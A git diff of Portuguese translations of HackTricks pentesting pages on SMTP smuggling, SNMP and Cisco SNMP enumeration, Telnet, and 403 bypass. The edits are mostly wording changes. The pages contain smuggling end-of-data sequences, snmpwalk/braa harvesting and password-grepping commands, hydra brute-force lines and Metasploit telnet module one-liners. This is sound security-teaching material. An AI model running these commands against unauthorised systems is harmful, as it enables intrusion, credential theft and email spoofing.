Esse tipo de vulnerabilidade foi [**originalmente descoberta neste post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) onde é explicado que é possível **explorar discrepâncias na interpretação do protocolo SMTP** ao finalizar um e-mail, permitindo que um atacante contrabandeie mais e-mails no corpo do legítimo, permitindo se passar por outros usuários do domínio afetado (como admin@outlook.com) contornando defesas como SPF.
|
||||
Esse tipo de vulnerabilidade foi [**originalmente descoberta neste post**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) onde é explicado que é possível **explorar discrepâncias na interpretação do protocolo SMTP** ao finalizar um e-mail, permitindo a um atacante contrabandear mais e-mails no corpo do legítimo, permitindo se passar por outros usuários do domínio afetado (como admin@outlook.com) burlando defesas como SPF.
|
||||
|
||||
### Porquê
|
||||
|
||||
Isso ocorre porque no protocolo SMTP, os **dados da mensagem** a serem enviados no e-mail são controlados por um usuário (atacante) que poderia enviar dados especialmente elaborados abusando das diferenças nos analisadores que contrabandearão e-mails extras no receptor. Dê uma olhada neste exemplo ilustrado do post original:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### Como
|
||||
|
||||
Para explorar essa vulnerabilidade, um atacante precisa enviar alguns dados que o **servidor SMPT de saída pensa que é apenas 1 e-mail, mas o servidor SMTP de entrada pensa que são vários e-mails**.
|
||||
Para explorar essa vulnerabilidade, um atacante precisa enviar alguns dados que o **servidor SMPT de saída pensa que é apenas 1 e-mail, mas o servidor SMPT de entrada pensa que há vários e-mails**.
|
||||
|
||||
Os pesquisadores descobriram que diferentes **servidores de entrada consideram diferentes caracteres como o final dos dados** da mensagem de e-mail que os servidores de saída não consideram.\
|
||||
Por exemplo, um final regular dos dados é `\r\n.\r\n`. Mas se o servidor SMTP de entrada também suportar `\n.\n`, um atacante poderia simplesmente adicionar **esses dados em seu e-mail e começar a indicar os comandos SMTP** de novos para contrabandeá-lo, assim como na imagem anterior.
|
||||
|
@ -38,7 +38,7 @@ Dados potenciais de dessincronização:
|
|||
* `\n.\n`
|
||||
* `\n.\r\n`
|
||||
|
||||
Também observe que o SPF é contornado porque se você contrabandear um e-mail de `admin@outlook.com` de um e-mail de `user@outlook.com`, **o remetente ainda é `outlook.com`.**
|
||||
Também observe que o SPF é burlado porque se você contrabandear um e-mail de `admin@outlook.com` de um e-mail de `user@outlook.com`, **o remetente ainda é `outlook.com`.**
|
||||
|
||||
## **Referências**
|
||||
|
||||
|
@ -51,7 +51,7 @@ Também observe que o SPF é contornado porque se você contrabandear um e-mail
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -38,7 +38,7 @@ Os arquivos MIB são escritos no formato de texto ASCII baseado em `Notação de
|
|||
|
||||
### OIDs
|
||||
|
||||
**Identificadores de Objeto (OIDs)** desempenham um papel crucial. Esses identificadores únicos são projetados para gerenciar objetos dentro de uma **Base de Informações de Gerenciamento (MIB)**.
|
||||
**Identificadores de Objeto (OIDs)** desempenham um papel crucial. Esses identificadores exclusivos são projetados para gerenciar objetos dentro de uma **Base de Informações de Gerenciamento (MIB)**.
|
||||
|
||||
Os níveis mais altos dos IDs de objeto MIB, ou OIDs, são alocados a diversas organizações de definição de padrões. É dentro desses níveis superiores que o framework para práticas e padrões de gerenciamento global é estabelecido.
|
||||
|
||||
|
@ -47,7 +47,7 @@ Além disso, os fornecedores têm a liberdade de estabelecer ramos privados. Den
|
|||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Você pode **navegar** por uma **árvore OID** na web aqui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ou **ver o significado de um OID** (como `1.3.6.1.2.1.1`) acessando [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Existem alguns **OIDs conhecidos** como os que estão dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis SNMP definidas pelo MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados de rede, dados de processos...)
|
||||
Existem alguns **OIDs conhecidos** como os que estão dentro de [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) que referenciam variáveis do Protocolo Simples de Gerenciamento de Rede (SNMP) definidas pelo MIB-2. E a partir dos **OIDs pendentes deste** você pode obter alguns dados interessantes do host (dados do sistema, dados de rede, dados de processos...)
|
||||
|
||||
### **Exemplo de OID**
|
||||
|
||||
|
@ -97,10 +97,10 @@ Existem **2 tipos de strings de comunidade**:
|
|||
* **`public`** principalmente funções **somente leitura**
|
||||
* **`private`** **Leitura/Gravação** em geral
|
||||
|
||||
Observe que **a possibilidade de escrita de um OID depende da string da comunidade usada**, então **mesmo** se você descobrir que "**public**" está sendo usada, você pode ser capaz de **escrever alguns valores**. Além disso, **podem** existir objetos que são **sempre "Somente Leitura"**.\
|
||||
Observe que **a possibilidade de escrever em um OID depende da string da comunidade usada**, então **mesmo** se você descobrir que "**public**" está sendo usada, você pode ser capaz de **escrever alguns valores**. Além disso, **podem** existir objetos que são **sempre "Somente Leitura"**.\
|
||||
Se você tentar **escrever** um objeto, um erro de **`noSuchName` ou `readOnly`** é recebido\*\*.\*\*
|
||||
|
||||
Nas versões 1 e 2/2c, se você usar uma **string de comunidade ruim**, o servidor não **responderá**. Portanto, se ele responder, uma **string de comunidade válida foi usada**.
|
||||
Nas versões 1 e 2/2c, se você usar uma string de comunidade **inválida**, o servidor não **responderá**. Portanto, se ele responder, uma string de comunidade **válida foi usada**.
|
||||
|
||||
## Portas
|
||||
|
||||
|
@ -108,7 +108,7 @@ Nas versões 1 e 2/2c, se você usar uma **string de comunidade ruim**, o servid
|
|||
|
||||
* O agente SNMP recebe solicitações na porta UDP **161**.
|
||||
* O gerente recebe notificações ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) e [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na porta **162**.
|
||||
* Quando usado com [Segurança na Camada de Transporte](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) ou [Segurança na Camada de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), as solicitações são recebidas na porta **10161** e as notificações são enviadas para a porta **10162**.
|
||||
* Quando usado com [Segurança da Camada de Transporte](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) ou [Segurança da Camada de Transporte de Datagramas](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), as solicitações são recebidas na porta **10161** e as notificações são enviadas para a porta **10162**.
|
||||
|
||||
## Ataque de Força Bruta na String da Comunidade (v1 e v2c)
|
||||
|
||||
|
@ -143,38 +143,38 @@ Graças às consultas estendidas (download-mibs), é possível enumerar ainda ma
|
|||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** tem muitas informações sobre o host e coisas que você pode achar interessantes são: **Interfaces de rede** (endereço IPv4 e **IPv6**), Nomes de usuário, Tempo de atividade, Versão do servidor/SO e **processos** em **execução** (podem conter senhas)....
|
||||
**SNMP** contém muitas informações sobre o host e coisas que você pode achar interessantes são: **Interfaces de rede** (endereço IPv4 e **IPv6**), Nomes de usuário, Tempo de atividade, Versão do servidor/SO e **processos** em execução (podem conter senhas)....
|
||||
|
||||
### **Configurações Perigosas**
|
||||
|
||||
No âmbito da gestão de rede, certas configurações e parâmetros são essenciais para garantir monitorização e controlo abrangentes.
|
||||
No âmbito da gestão de rede, certas configurações e parâmetros são essenciais para garantir um monitoramento e controle abrangentes.
|
||||
|
||||
### Configurações de Acesso
|
||||
|
||||
Duas configurações principais permitem o acesso à **árvore OID completa**, que é um componente crucial na gestão de rede:
|
||||
|
||||
1. **`rwuser noauth`** é definido para permitir acesso total à árvore OID sem a necessidade de autenticação. Esta configuração é direta e permite acesso irrestrito.
|
||||
1. **`rwuser noauth`** é definido para permitir acesso total à árvore OID sem a necessidade de autenticação. Essa configuração é direta e permite acesso irrestrito.
|
||||
2. Para um controle mais específico, o acesso pode ser concedido usando:
|
||||
* **`rwcommunity`** para endereços **IPv4**, e
|
||||
* **`rwcommunity6`** para endereços **IPv6**.
|
||||
|
||||
Ambos os comandos requerem uma **cadeia de comunidade** e o endereço IP relevante, oferecendo acesso total independentemente da origem do pedido.
|
||||
Ambos os comandos requerem uma **cadeia de comunidade** e o endereço IP relevante, oferecendo acesso total independentemente da origem da solicitação.
|
||||
|
||||
### Parâmetros SNMP para Microsoft Windows
|
||||
|
||||
Uma série de valores da **Base de Informações de Gestão (MIB)** são utilizados para monitorizar vários aspetos de um sistema Windows através do SNMP:
|
||||
Uma série de valores da **Base de Informações de Gerenciamento (MIB)** são utilizados para monitorar vários aspectos de um sistema Windows por meio do SNMP:
|
||||
|
||||
* **Processos do Sistema**: Acessado via `1.3.6.1.2.1.25.1.6.0`, este parâmetro permite a monitorização de processos ativos dentro do sistema.
|
||||
* **Processos do Sistema**: Acessado via `1.3.6.1.2.1.25.1.6.0`, esse parâmetro permite o monitoramento de processos ativos dentro do sistema.
|
||||
* **Programas em Execução**: O valor `1.3.6.1.2.1.25.4.2.1.2` é designado para rastrear programas em execução atualmente.
|
||||
* **Caminho dos Processos**: Para determinar de onde um processo está sendo executado, o valor MIB `1.3.6.1.2.1.25.4.2.1.4` é utilizado.
|
||||
* **Unidades de Armazenamento**: A monitorização de unidades de armazenamento é facilitada por `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Caminho dos Processos**: Para determinar de onde um processo está sendo executado, o valor MIB `1.3.6.1.2.1.25.4.2.1.4` é usado.
|
||||
* **Unidades de Armazenamento**: O monitoramento de unidades de armazenamento é facilitado por `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Nome do Software**: Para identificar o software instalado em um sistema, é empregado `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
* **Contas de Usuário**: O valor `1.3.6.1.4.1.77.1.2.25` permite o rastreamento de contas de usuário.
|
||||
* **Portas Locais TCP**: Por fim, `1.3.6.1.2.1.6.13.1.3` é designado para monitorar portas locais TCP, fornecendo insights sobre conexões de rede ativas.
|
||||
* **Portas Locais TCP**: Por fim, `1.3.6.1.2.1.6.13.1.3` é designado para monitorar portas locais TCP, fornecendo informações sobre conexões de rede ativas.
|
||||
|
||||
### Cisco
|
||||
|
||||
Dê uma olhada nesta página se você tem equipamentos Cisco:
|
||||
Dê uma olhada nesta página se você possui equipamentos Cisco:
|
||||
|
||||
{% content-ref url="cisco-snmp.md" %}
|
||||
[cisco-snmp.md](cisco-snmp.md)
|
||||
|
@ -190,7 +190,7 @@ Se você tiver a **cadeia** que permite **escrever valores** dentro do serviço
|
|||
|
||||
## **SNMP Massivo**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa)é um scanner SNMP em massa. O uso pretendido de tal ferramenta é, é claro, fazer consultas SNMP - mas ao contrário do snmpwalk do net-snmp, é capaz de consultar dezenas ou centenas de hosts simultaneamente e em um único processo. Assim, consome muito poucos recursos do sistema e faz a varredura MUITO rapidamente.
|
||||
[Braa ](https://github.com/mteg/braa)é um scanner SNMP em massa. O uso pretendido de tal ferramenta é, é claro, fazer consultas SNMP - mas ao contrário do snmpwalk do net-snmp, ele é capaz de consultar dezenas ou centenas de hosts simultaneamente e em um único processo. Assim, consome muito poucos recursos do sistema e faz a varredura MUITO rapidamente.
|
||||
|
||||
Braa implementa sua PRÓPRIA pilha SNMP, portanto, NÃO precisa de bibliotecas SNMP como net-snmp.
|
||||
|
||||
|
@ -198,7 +198,7 @@ Braa implementa sua PRÓPRIA pilha SNMP, portanto, NÃO precisa de bibliotecas S
|
|||
```bash
|
||||
braa ignite123@192.168.1.125:.1.3.6.*
|
||||
```
|
||||
Isso pode extrair muitos MB de informações que você não pode processar manualmente.
|
||||
Isto pode extrair muitos MB de informações que você não pode processar manualmente.
|
||||
|
||||
Então, vamos procurar as informações mais interessantes (de [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
|
@ -214,15 +214,15 @@ Um passo crucial envolve identificar a **string de comunidade privada** usada po
|
|||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **Nomes de Usuário/Senhas**
|
||||
### **Nomes de Usuários/Senhas**
|
||||
|
||||
Registros armazenados dentro das tabelas MIB são examinados em busca de **tentativas de login falhadas**, que podem incluir acidentalmente senhas inseridas como nomes de usuário. Palavras-chave como _fail_, _failed_ ou _login_ são pesquisadas para encontrar dados valiosos:
|
||||
Registros armazenados em tabelas MIB são examinados em busca de **tentativas de login malsucedidas**, que podem incluir acidentalmente senhas inseridas como nomes de usuários. Palavras-chave como _fail_, _failed_ ou _login_ são pesquisadas para encontrar dados valiosos:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **Emails**
|
||||
|
||||
Finalmente, para extrair **endereços de e-mail** dos dados, é utilizado um comando **grep** com uma expressão regular, focando em padrões que correspondem a formatos de e-mail:
|
||||
Por fim, para extrair **endereços de email** dos dados, é utilizado um comando **grep** com uma expressão regular, focando em padrões que correspondem a formatos de email:
|
||||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
|
@ -232,7 +232,7 @@ Você pode usar o _**NetScanTools**_ para **modificar valores**. Você precisar
|
|||
|
||||
## Spoofing
|
||||
|
||||
Se houver uma ACL que permite apenas alguns IPs consultar o serviço SMNP, você pode falsificar um desses endereços dentro do pacote UDP e capturar o tráfego.
|
||||
Se houver uma ACL que permita apenas alguns IPs a consultar o serviço SMNP, você pode falsificar um desses endereços dentro do pacote UDP e capturar o tráfego.
|
||||
|
||||
## Examinar arquivos de configuração SNMP
|
||||
|
||||
|
@ -240,7 +240,7 @@ Se houver uma ACL que permite apenas alguns IPs consultar o serviço SMNP, você
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -288,7 +288,7 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -49,7 +49,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
|
|
@ -7,22 +7,22 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
Telnet é um protocolo de rede que oferece aos usuários uma maneira NÃO segura de acessar um computador por meio de uma rede.
|
||||
Telnet é um protocolo de rede que oferece aos usuários uma maneira NÃO segura de acessar um computador em uma rede.
|
||||
|
||||
**Porta padrão:** 23
|
||||
```
|
||||
|
@ -40,9 +40,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
|||
```
|
||||
O script `telnet-ntlm-info.nse` irá obter informações NTLM (versões do Windows).
|
||||
|
||||
Do [RFC do telnet](https://datatracker.ietf.org/doc/html/rfc854): No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e um servidor concordem em usar um conjunto de convenções mais elaborado (ou talvez apenas diferente) para sua conexão TELNET. Tais opções poderiam incluir a alteração do conjunto de caracteres, o modo de eco, etc.
|
||||
A partir do [RFC do telnet](https://datatracker.ietf.org/doc/html/rfc854): No Protocolo TELNET existem várias "**opções**" que serão sancionadas e podem ser usadas com a estrutura "**DO, DON'T, WILL, WON'T**" para permitir que um usuário e um servidor concordem em usar um conjunto de convenções mais elaborado (ou talvez apenas diferente) para sua conexão TELNET. Tais opções poderiam incluir a alteração do conjunto de caracteres, o modo de eco, etc.
|
||||
|
||||
**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como fazer.**
|
||||
**Eu sei que é possível enumerar essas opções, mas não sei como, então me avise se souber como.**
|
||||
|
||||
### [Força bruta](../generic-methodologies-and-resources/brute-force.md#telnet)
|
||||
|
||||
|
@ -84,7 +84,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
|
||||
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
@ -10,13 +10,13 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até o relatório. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -32,7 +32,7 @@ Tente usar **diferentes verbos** para acessar o arquivo: `GET, HEAD, POST, PUT,
|
|||
|
||||
* **Alterar o cabeçalho Host** para algum valor arbitrário ([que funcionou aqui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* Tente [**usar outros Agentes de Usuário**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acessar o recurso.
|
||||
* **Fuzz de Cabeçalhos HTTP**: Tente usar **Cabeçalhos** de Proxy HTTP, Autenticação HTTP Básica e força bruta NTLM (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
